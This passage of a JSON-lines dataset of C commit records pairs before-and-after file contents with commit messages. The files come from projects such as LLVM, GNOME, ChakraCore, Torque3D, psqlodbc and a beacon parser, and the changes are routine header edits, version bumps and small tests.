clash in cpp tokens\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"208d638fa4fbf31ba83445861ad13c2e8c72e5f4","old_file":"include\/llvm\/Assembly\/CWriter.h","new_file":"include\/llvm\/Assembly\/CWriter.h","old_contents":"\/\/===-- llvm\/Assembly\/CWriter.h - C Printer for LLVM programs ---*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This functionality is implemented by the lib\/CWriter library.  This library\n\/\/ is used to print C language files to an iostream.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_ASSEMBLY_CWRITER_H\n#define LLVM_ASSEMBLY_CWRITER_H\n\n#include <iosfwd>\n\nnamespace llvm {\n\nclass Pass;\nPass *createWriteToCPass(std::ostream &o);\n\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===-- llvm\/Assembly\/CWriter.h - C Printer for LLVM programs ---*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This functionality is implemented by the lib\/CWriter library.  This library\n\/\/ is used to print C language files to an iostream.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_ASSEMBLY_CWRITER_H\n#define LLVM_ASSEMBLY_CWRITER_H\n\n#include <iosfwd>\n\nnamespace llvm {\n\nclass PassManager;\nvoid AddPassesToWriteC(PassManager &PM, std::ostream &o);\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Change access to the cwriter","message":"Change access to the cwriter\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@11406 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap"}
{"commit":"ac7ac74083f27b98aebc6c2a3d370c609f3e0df5","old_file":"libgnomeui\/gnome-properties.h","new_file":"libgnomeui\/gnome-properties.h","old_contents":"#ifndef GNOME_PROPERTIES_H\n#define GNOME_PROPERTIES_H\n#include <libgnome\/gnome-defs.h>\n\nBEGIN_GNOME_DECLS\n\ntypedef struct {\n\tGtkWidget *notebook;\n\n\tGList *props;\n} GnomePropertyConfigurator;\n\n\/* This is the first parameter to the callback function *\/\ntypedef enum {\n\tGNOME_PROPERTY_READ,\n\tGNOME_PROPERTY_WRITE,\n\tGNOME_PROPERTY_APPLY,\n\tGNOME_PROPERTY_SETUP\n} GnomePropertyRequest;\n\nGnomePropertyConfigurator\n     *gnome_property_configurator_new (void);\n  \nvoid gnome_property_configurator_destroy (GnomePropertyConfigurator *);\nvoid gnome_property_configurator_register (GnomePropertyConfigurator *, \n\t\t\t\t\t   int (*callback)(GnomePropertyRequest));\nvoid gnome_property_configurator_setup (GnomePropertyConfigurator *);\ngint gnome_property_configurator_request (GnomePropertyConfigurator *,\n\t\t\t\t\t  GnomePropertyRequest);\nvoid gnome_property_configurator_request_foreach (GnomePropertyConfigurator *th,\n\t\t\t\t\t\t  GnomePropertyRequest r);\n\nEND_GNOME_DECLS\n\n#endif\n","new_contents":"#ifndef GNOME_PROPERTIES_H\n#define GNOME_PROPERTIES_H\n#include <libgnome\/gnome-defs.h>\n\nBEGIN_GNOME_DECLS\n\ntypedef struct {\n\tGtkWidget *notebook;\n        GtkWidget *property_box;\n\tGList *props;\n} GnomePropertyConfigurator;\n\n\/* This is the first parameter to the callback function *\/\ntypedef enum {\n\tGNOME_PROPERTY_READ,\n\tGNOME_PROPERTY_WRITE,\n\tGNOME_PROPERTY_APPLY,\n\tGNOME_PROPERTY_SETUP\n} GnomePropertyRequest;\n\nGnomePropertyConfigurator\n     *gnome_property_configurator_new (void);\n  \nvoid gnome_property_configurator_destroy (GnomePropertyConfigurator *);\nvoid gnome_property_configurator_register (GnomePropertyConfigurator *, \n\t\t\t\t\t   int (*callback)(GnomePropertyRequest));\nvoid gnome_property_configurator_setup (GnomePropertyConfigurator *);\ngint gnome_property_configurator_request (GnomePropertyConfigurator *,\n\t\t\t\t\t  GnomePropertyRequest);\nvoid gnome_property_configurator_request_foreach (GnomePropertyConfigurator *th,\n\t\t\t\t\t\t  GnomePropertyRequest r);\n\nEND_GNOME_DECLS\n\n#endif\n","subject":"Add a property box field so this stuff compiles","message":"Add a property box field so this stuff compiles\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/libgnomeui,Distrotech\/libgnomeui,Distrotech\/libgnomeui"}
{"commit":"47ccf13ad405d2f0821b71eb3330c60ff209a172","old_file":"test2\/inline\/inline_addr_arg.c","new_file":"test2\/inline\/inline_addr_arg.c","old_contents":"","new_contents":"\/\/ RUN: %ocheck 3 %s\n\n__attribute((always_inline))\ninline f(int x)\n{\n\tint i = x;\n\t&x;\n\ti++;\n\treturn i;\n}\n\nmain()\n{\n\tint added = 5;\n\n\tadded = f(2);\n\n\treturn added;\n}\n","subject":"Test for lvalue-argument function inlinling","message":"Test for lvalue-argument function inlinling\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"af3145a1ba032338340c08d2c4922df2add97702","old_file":"tests\/testParseNativeHCIDump.c","new_file":"tests\/testParseNativeHCIDump.c","old_contents":"","new_contents":"#include <stdint.h>\n#include <string.h>\n#include <stdio.h>\n#include <sys\/types.h>\n\n\nstatic int UUID_SIZE = 16;\nchar toHexChar(int b) {\n    char c;\n    if(b < 10)\n        c = '0' + b;\n    else\n        c = 'A' + b - 10;\n    return c;\n}\nint main(int argc, char **argv) {\n    int b = (0xa4 & 0xf0) >> 4;\n    printf(\"c0=%c, %d\\n\", toHexChar(b), b);\n    b = (0xa4 & 0x0f);\n    printf(\"c1=%c, %d\\n\", toHexChar(b), b);\n    \/\/ The raw data from the manufacturer's data packate\n    uint8_t data[] = {0x4c,0x0,\n            0x2,0x15,\n            0xa4,0x95,0xde,0xad,0xc5,0xb1,0x4b,0x44,0xb5,\n            0x12,0x13,0x70,0xf0,0x2d,0x74,0xde,0x30,0x39,0xff,0xff,\n            0xc5};\n    \/\/ Get the manufacturer code from the first two octets\n    int index = 0;\n    int manufacturer = 256 * data[index++] + data[index++];\n\n    \/\/ Get the first octet of the beacon code\n    int code = 256 * data[index++] + data[index++];\n\n    \/\/ Get the proximity uuid\n    char uuid[UUID_SIZE+1];\n    int n;\n    for(n = 0; n < UUID_SIZE; n += 2, index ++) {\n        int b0 = (data[index] & 0xf0) >> 4;\n        int b1 = data[index] & 0x0f;\n        char c0 = toHexChar(b0);\n        char c1 = toHexChar(b1);\n        uuid[n] = c0;\n        uuid[n+1] = c1;\n    }\n    uuid[UUID_SIZE] = '\\0';\n\n    \/\/ Get the beacon major id\n    int major = 256 * data[index++] + data[index++];\n    \/\/ Get the beacon minor id\n    int minor = 256 * data[index++] + data[index++];\n\n    \/\/ Get the transmitted power, which is encoded as the 2's complement of the calibrated Tx Power\n    int power = data[index] - 256;\n\n    printf(\"uuid=%s, manufacturer=%d, code=%d, major=%d, minor=%d, power=%d\\n\", uuid, manufacturer, code, major, minor, power);\n}","subject":"Test the parse of the raw binary data seen in the hcidump integration for a manufacturer AD structure.","message":"Test the parse of the raw binary data seen in the hcidump integration for a manufacturer AD structure.\n","lang":"C","license":"apache-2.0","repos":"starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser"}
{"commit":"8dbc6a0bccf04bb4d2cbc7a403c607641a2aaa25","old_file":"optional\/capi\/ext\/proc_spec.c","new_file":"optional\/capi\/ext\/proc_spec.c","old_contents":"#include <string.h>\n\n#include \"ruby.h\"\n#include \"rubyspec.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef HAVE_RB_PROC_NEW\nVALUE concat_func(VALUE args) {\n  int i;\n  char buffer[500] = {0};\n  if (TYPE(args) != T_ARRAY) return Qnil;\n  for(i = 0; i < RARRAY_LEN(args); ++i) {\n    VALUE v = RARRAY_PTR(args)[i];\n    strcat(buffer, StringValuePtr(v));\n    strcat(buffer, \"_\");\n  }\n  buffer[strlen(buffer) - 1] = 0;\n  return rb_str_new2(buffer);\n\n}\n\nVALUE sp_underline_concat_proc(VALUE self) {\n  return rb_proc_new(concat_func, Qnil);\n}\n#endif\n\nvoid Init_proc_spec() {\n  VALUE cls;\n  cls = rb_define_class(\"CApiProcSpecs\", rb_cObject);\n\n#ifdef HAVE_RB_PROC_NEW\n  rb_define_method(cls, \"underline_concat_proc\", sp_underline_concat_proc, 0);\n#endif\n}\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"#include <string.h>\n\n#include \"ruby.h\"\n#include \"rubyspec.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef HAVE_RB_PROC_NEW\nVALUE concat_func(VALUE args) {\n  int i;\n  char buffer[500] = {0};\n  if (TYPE(val) != T_ARRAY) return Qnil;\n  for(i = 0; i < RARRAY_LEN(args); ++i) {\n    VALUE v = RARRAY_PTR(args)[i];\n    strcat(buffer, StringValuePtr(v));\n    strcat(buffer, \"_\");\n  }\n  buffer[strlen(buffer) - 1] = 0;\n  return rb_str_new2(buffer);\n\n}\n\nVALUE sp_underline_concat_proc(VALUE self) {\n  return rb_proc_new(concat_func, Qnil);\n}\n#endif\n\nvoid Init_proc_spec() {\n  VALUE cls;\n  cls = rb_define_class(\"CApiProcSpecs\", rb_cObject);\n\n#ifdef HAVE_RB_PROC_NEW\n  rb_define_method(cls, \"underline_concat_proc\", sp_underline_concat_proc, 0);\n#endif\n}\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Revert \"Fix typo in the commit a5312c77.\"","message":"Revert \"Fix typo in the commit a5312c77.\"\n\nThis reverts commit 401825d6045ab8e3bd1514404e7c326a045a92ae.\n\nSee the following revert for an explanation.\n","lang":"C","license":"mit","repos":"calavera\/rubyspec,calavera\/rubyspec"}
{"commit":"e38845ec04ed22b4e2190695bd0395a90dcc1794","old_file":"lib\/Common\/ChakraCoreVersion.h","new_file":"lib\/Common\/ChakraCoreVersion.h","old_contents":"\/\/-------------------------------------------------------------------------------------------------------\n\/\/ Copyright (C) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n\/\/-------------------------------------------------------------------------------------------------------\n#pragma once\n\n#define CHAKRA_CORE_MAJOR_VERSION 1\n#define CHAKRA_CORE_MINOR_VERSION 3\n#define CHAKRA_CORE_VERSION_RELEASE 0\n#define CHAKRA_CORE_VERSION_PRERELEASE 0\n#define CHAKRA_CORE_VERSION_RELEASE_QFE 0\n\n#define CHAKRA_VERSION_RELEASE 0\n\n\/\/ NOTE: need to update the GUID in ByteCodeCacheReleaseFileVersion.h as well\n","new_contents":"\/\/-------------------------------------------------------------------------------------------------------\n\/\/ Copyright (C) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n\/\/-------------------------------------------------------------------------------------------------------\n#pragma once\n\n#define CHAKRA_CORE_MAJOR_VERSION 1\n#define CHAKRA_CORE_MINOR_VERSION 4\n#define CHAKRA_CORE_VERSION_RELEASE 0\n#define CHAKRA_CORE_VERSION_PRERELEASE 0\n#define CHAKRA_CORE_VERSION_RELEASE_QFE 0\n\n#define CHAKRA_VERSION_RELEASE 0\n\n\/\/ NOTE: need to update the GUID in ByteCodeCacheReleaseFileVersion.h as well\n","subject":"Update master branch version to 1.4","message":"Update master branch version to 1.4\n","lang":"C","license":"mit","repos":"mrkmarron\/ChakraCore,mrkmarron\/ChakraCore,mrkmarron\/ChakraCore,Microsoft\/ChakraCore,mrkmarron\/ChakraCore,Microsoft\/ChakraCore,Microsoft\/ChakraCore,mrkmarron\/ChakraCore,Microsoft\/ChakraCore,Microsoft\/ChakraCore,Microsoft\/ChakraCore,mrkmarron\/ChakraCore,mrkmarron\/ChakraCore"}
{"commit":"eadd77272d857d9478baaf94833210e9af5498ed","old_file":"Engine\/source\/gfx\/gl\/tGL\/tGL.h","new_file":"Engine\/source\/gfx\/gl\/tGL\/tGL.h","old_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Copyright (c) 2012 GarageGames, LLC\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/-----------------------------------------------------------------------------\n\n#ifndef T_GL_H\n#define T_GL_H\n#include \"GL\/glew.h\"\n\n\/\/ Slower but reliably detects extensions\n#define gglHasExtension(EXTENSION) glewGetExtension(\"GL_\" # EXTENSION)\n\n#endif\n\n","new_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Copyright (c) 2012 GarageGames, LLC\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/-----------------------------------------------------------------------------\n\n#ifndef T_GL_H\n#define T_GL_H\n#include \"GL\/glew.h\"\n\n#if defined (TORQUE_OS_WIN)\n\/\/ This doesn't work on Mesa drivers.\n#define gglHasExtension(EXTENSION) GLEW_##EXTENSION\n#else\n\/\/ Slower but reliably detects extensions on Mesa.\n#define gglHasExtension(EXTENSION) glewGetExtension(\"GL_\" # EXTENSION)\n#endif\n\n#endif\n\n","subject":"Add @Azaezel's exception for Win32","message":"Add @Azaezel's exception for Win32\n\n\"This chunk causes issues on the win8.1\/non-SDL side.\"\n","lang":"C","license":"mit","repos":"Bloodknight\/Torque3D,GarageGames\/Torque3D,Will-of-the-Wisp\/Torque3D,Azaezel\/Torque3D,lukaspj\/Speciality,chaigler\/Torque3D,rextimmy\/Torque3D,Azaezel\/Torque3D,Azaezel\/Torque3D,aaravamudan2014\/Torque3D,John3\/Torque3D,Will-of-the-Wisp\/Torque3D,GarageGames\/Torque3D,Will-of-the-Wisp\/Torque3D,Bloodknight\/Torque3D,Duion\/Torque3D,Torque3D-GameEngine\/Torque3D,aaravamudan2014\/Torque3D,chaigler\/Torque3D,Phantom139\/Torque3D,Phantom139\/Torque3D,rextimmy\/Torque3D,lukaspj\/Speciality,rextimmy\/Torque3D,John3\/Torque3D,Phantom139\/Torque3D,rextimmy\/Torque3D,elfprince13\/Torque3D,Bloodknight\/Torque3D,Bloodknight\/Torque3D,ValtoGameEngines\/Torque3D,elfprince13\/Torque3D,ValtoGameEngines\/Torque3D,GarageGames\/Torque3D,Bloodknight\/Torque3D,aaravamudan2014\/Torque3D,Duion\/Torque3D,John3\/Torque3D,Torque3D-GameEngine\/Torque3D,Torque3D-GameEngine\/Torque3D,Torque3D-GameEngine\/Torque3D,GarageGames\/Torque3D,Will-of-the-Wisp\/Torque3D,FITTeamIndecisive\/Torque3D,aaravamudan2014\/Torque3D,Bloodknight\/Torque3D,chaigler\/Torque3D,elfprince13\/Torque3D,chaigler\/Torque3D,JeffProgrammer\/Torque3D,lukaspj\/Speciality,elfprince13\/Torque3D,Phantom139\/Torque3D,Will-of-the-Wisp\/Torque3D,Azaezel\/Torque3D,Phantom139\/Torque3D,John3\/Torque3D,Torque3D-GameEngine\/Torque3D,JeffProgrammer\/Torque3D,Phantom139\/Torque3D,lukaspj\/Speciality,Duion\/Torque3D,ValtoGameEngines\/Torque3D,elfprince13\/Torque3D,ValtoGameEngines\/Torque3D,JeffProgrammer\/Torque3D,ValtoGameEngines\/Torque3D,GarageGames\/Torque3D,Azaezel\/Torque3D,John3\/Torque3D,Azaezel\/Torque3D,Torque3D-GameEngine\/Torque3D,rextimmy\/Torque3D,Will-of-the-Wisp\/Torque3D,Torque3D-GameEngine\/Torque3D,Phantom139\/Torque3D,GarageGames\/Torque3D,aaravamudan2014\/Torque3D,aaravamudan2014\/Torque3D,Azaezel\/Torque3D,FITTeamIndecisive\/Torque3D,lukaspj\/Speciality,FITTeamIndecisive\/Torque3D,John3\/Torque3D,Will-of-the-Wisp\/Torque3D,GarageGames\/Torque3D,Bloodknight\/Torque3D,JeffProgrammer\/Torque3D,Will-of-the-Wisp\/Torque3D,JeffProgrammer\/Torque3D,FITTeamIndecisive\/Torque3D,elfprince13\/Torque3D,FITTeamIndecisive\/Torque3D,Duion\/Torque3D,chaigler\/Torque3D,elfprince13\/Torque3D,elfprince13\/Torque3D,John3\/Torque3D,Bloodknight\/Torque3D,rextimmy\/Torque3D,aaravamudan2014\/Torque3D,Azaezel\/Torque3D,Phantom139\/Torque3D,JeffProgrammer\/Torque3D,rextimmy\/Torque3D,John3\/Torque3D,aaravamudan2014\/Torque3D,John3\/Torque3D,FITTeamIndecisive\/Torque3D,lukaspj\/Speciality,rextimmy\/Torque3D,Duion\/Torque3D,chaigler\/Torque3D,Azaezel\/Torque3D,Bloodknight\/Torque3D,Azaezel\/Torque3D,GarageGames\/Torque3D,Torque3D-GameEngine\/Torque3D,Will-of-the-Wisp\/Torque3D,ValtoGameEngines\/Torque3D,aaravamudan2014\/Torque3D,FITTeamIndecisive\/Torque3D,Will-of-the-Wisp\/Torque3D,Duion\/Torque3D,ValtoGameEngines\/Torque3D,ValtoGameEngines\/Torque3D,rextimmy\/Torque3D,Duion\/Torque3D,GarageGames\/Torque3D,FITTeamIndecisive\/Torque3D,elfprince13\/Torque3D,ValtoGameEngines\/Torque3D,rextimmy\/Torque3D,JeffProgrammer\/Torque3D,chaigler\/Torque3D,Phantom139\/Torque3D,lukaspj\/Speciality,Duion\/Torque3D,Will-of-the-Wisp\/Torque3D,lukaspj\/Speciality,ValtoGameEngines\/Torque3D,FITTeamIndecisive\/Torque3D,Duion\/Torque3D,Phantom139\/Torque3D,lukaspj\/Speciality,Torque3D-GameEngine\/Torque3D,Duion\/Torque3D,lukaspj\/Speciality,FITTeamIndecisive\/Torque3D,aaravamudan2014\/Torque3D,chaigler\/Torque3D,Torque3D-GameEngine\/Torque3D,John3\/Torque3D,JeffProgrammer\/Torque3D,chaigler\/Torque3D,elfprince13\/Torque3D"}
{"commit":"2b78b93cc76b65b4f388d29431f70112c784d78d","old_file":"src\/graph.h","new_file":"src\/graph.h","old_contents":"#ifndef MOLCORE_GRAPH_H\n#define MOLCORE_GRAPH_H\n\n#include \"molcore.h\"\n\n#include <vector>\n\nnamespace MolCore {\n\nclass MOLCORE_EXPORT Graph\n{\npublic:\n  \/\/ construction and destruction\n  Graph();\n  Graph(size_t size);\n  ~Graph();\n\n  \/\/ properties\n  void setSize(size_t size);\n  size_t size() const;\n  bool isEmpty() const;\n  void clear();\n\n  \/\/ structure\n  size_t addVertex();\n  void removeVertex(size_t index);\n  size_t vertexCount() const;\n  void addEdge(size_t a, size_t b);\n  void removeEdge(size_t a, size_t b);\n  void removeEdges();\n  void removeEdges(size_t index);\n  size_t edgeCount() const;\n  const std::vector<size_t>& neighbors(size_t index) const;\n  size_t degree(size_t index) const;\n  bool containsEdge(size_t a, size_t b) const;\n\nprivate:\n  std::vector<std::vector<size_t> > m_adjacencyList;\n};\n\n} \/\/ end MolCore namespace\n\n#endif \/\/ MOLCORE_GRAPH_H\n","new_contents":"#ifndef MOLCORE_GRAPH_H\n#define MOLCORE_GRAPH_H\n\n#include \"molcore.h\"\n\n#include <vector>\n#include <cstddef>\n\nnamespace MolCore {\n\nclass MOLCORE_EXPORT Graph\n{\npublic:\n  \/\/ construction and destruction\n  Graph();\n  Graph(size_t size);\n  ~Graph();\n\n  \/\/ properties\n  void setSize(size_t size);\n  size_t size() const;\n  bool isEmpty() const;\n  void clear();\n\n  \/\/ structure\n  size_t addVertex();\n  void removeVertex(size_t index);\n  size_t vertexCount() const;\n  void addEdge(size_t a, size_t b);\n  void removeEdge(size_t a, size_t b);\n  void removeEdges();\n  void removeEdges(size_t index);\n  size_t edgeCount() const;\n  const std::vector<size_t>& neighbors(size_t index) const;\n  size_t degree(size_t index) const;\n  bool containsEdge(size_t a, size_t b) const;\n\nprivate:\n  std::vector<std::vector<size_t> > m_adjacencyList;\n};\n\n} \/\/ end MolCore namespace\n\n#endif \/\/ MOLCORE_GRAPH_H\n","subject":"Include cstddef for size_t in newer GCC.","message":"Include cstddef for size_t in newer GCC.\n","lang":"C","license":"bsd-3-clause","repos":"OpenChemistry\/avogadrolibs,cjh1\/mongochemweb-avogadrolibs,cjh1\/mongochemweb-avogadrolibs,ghutchis\/avogadrolibs,cjh1\/mongochemweb-avogadrolibs,OpenChemistry\/avogadrolibs,OpenChemistry\/avogadrolibs,OpenChemistry\/avogadrolibs,wadejong\/avogadrolibs,ghutchis\/avogadrolibs,wadejong\/avogadrolibs,wadejong\/avogadrolibs,qust113\/molcore,wadejong\/avogadrolibs,ghutchis\/avogadrolibs,qust113\/molcore,ghutchis\/avogadrolibs,cjh1\/mongochemweb-avogadrolibs,OpenChemistry\/avogadrolibs,ghutchis\/avogadrolibs"}
{"commit":"a6cdef764509c20d7b17f5bab2db0bf1f1f90f2d","old_file":"md5.h","new_file":"md5.h","old_contents":"\/* File:\t\t\tconnection.h\n *\n * Description:\t\tSee \"md.h\"\n *\n * Comments:\t\tSee \"notice.txt\" for copyright and license information.\n *\n *\/\n\n#ifndef __MD5_H__\n#define __MD5_H__\n\n#include \"psqlodbc.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef\tWIN32\n#define\tMD5_ODBC\n#define\tFRONTEND\n#endif\n#define MD5_PASSWD_LEN\t35\n\n\/* From c.h *\/\n#ifndef __BEOS__\n\n#ifndef __cplusplus\n\n#ifndef bool\ntypedef char bool;\n#endif\n\n#ifndef true\n#define true\t((bool) 1)\n#endif\n\n#ifndef false\n#define false\t((bool) 0)\n#endif\n#endif   \/* not C++ *\/\n#endif   \/* __BEOS__ *\/\n\n\/* #if SIZEOF_UINT8 == 0  Can't get this from configure *\/\ntypedef unsigned char uint8;\t\/* == 8 bits *\/\ntypedef unsigned short uint16;\t\/* == 16 bits *\/\ntypedef unsigned int uint32;\t\/* == 32 bits *\/\n\/* #endif *\/\n\nextern bool EncryptMD5(const char *passwd, const char *salt,\n\t\t   size_t salt_len, char *buf);\n\n\n#endif\n","new_contents":"\/* File:\t\t\tconnection.h\n *\n * Description:\t\tSee \"md.h\"\n *\n * Comments:\t\tSee \"notice.txt\" for copyright and license information.\n *\n *\/\n\n#ifndef __MD5_H__\n#define __MD5_H__\n\n#include \"psqlodbc.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef\tWIN32\n#define\tMD5_ODBC\n#define\tFRONTEND\n#endif\n#define MD5_PASSWD_LEN\t35\n\n\/* From c.h *\/\n#ifndef __BEOS__\n\n#ifndef __cplusplus\n\n#ifndef bool\ntypedef char bool;\n#endif\n\n#ifndef true\n#define true\t((bool) 1)\n#endif\n\n#ifndef false\n#define false\t((bool) 0)\n#endif\n#endif   \/* not C++ *\/\n#endif   \/* __BEOS__ *\/\n\n\/* Also defined in include\/c.h *\/\n#if SIZEOF_UINT8 == 0\ntypedef unsigned char uint8;\t\/* == 8 bits *\/\ntypedef unsigned short uint16;\t\/* == 16 bits *\/\ntypedef unsigned int uint32;\t\/* == 32 bits *\/\n#endif   \/* SIZEOF_UINT8 == 0 *\/\n\nextern bool EncryptMD5(const char *passwd, const char *salt,\n\t\t   size_t salt_len, char *buf);\n\n\n#endif\n","subject":"Add configure result checks on odbc, per Peter E.","message":"Add configure result checks on odbc, per Peter E.\n","lang":"C","license":"lgpl-2.1","repos":"gavioto\/psqlodbc,hlinnaka\/psqlodbc,treasure-data\/prestogres-odbc,hlinnaka\/psqlodbc,treasure-data\/prestogres-odbc,Distrotech\/psqlodbc,Distrotech\/psqlodbc,hlinnaka\/psqlodbc,treasure-data\/prestogres-odbc,gavioto\/psqlodbc,Distrotech\/psqlodbc,gavioto\/psqlodbc"}
{"commit":"a3de6e9ab8fbd4c9462880dc5c138488b322efd0","old_file":"test\/FrontendC\/2003-08-21-WideString.c","new_file":"test\/FrontendC\/2003-08-21-WideString.c","old_contents":"\/\/ RUN: %llvmgcc -S %s -o - | llvm-as -f -o \/dev\/null\n\/\/ XFAIL: *\n\/\/ See PR2452\n\nstruct {\n  int *name;\n} syms = { L\"NUL\" };\n","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - | llvm-as -f -o \/dev\/null\n\n#include <wchar.h>\n\nstruct {\n  wchar_t *name;\n} syms = { L\"NUL\" };\n","subject":"Fix a warning, closing PR2452","message":"Fix a warning, closing PR2452\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@52529 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
